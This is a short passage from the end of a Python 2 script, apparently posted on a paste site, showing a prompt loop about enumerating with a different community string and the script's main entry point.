  779. #if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False):
  780. if get_input("Enumerate with different community? (y/N):",'y',options):
  781. continue
  782. else:
  783. break
  784.  
  785. if not options.enum:
  786. select_community(results,options)
  787.  
  788. print "Finished!"
  789.  
  790. if __name__ == "__main__":
  791. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement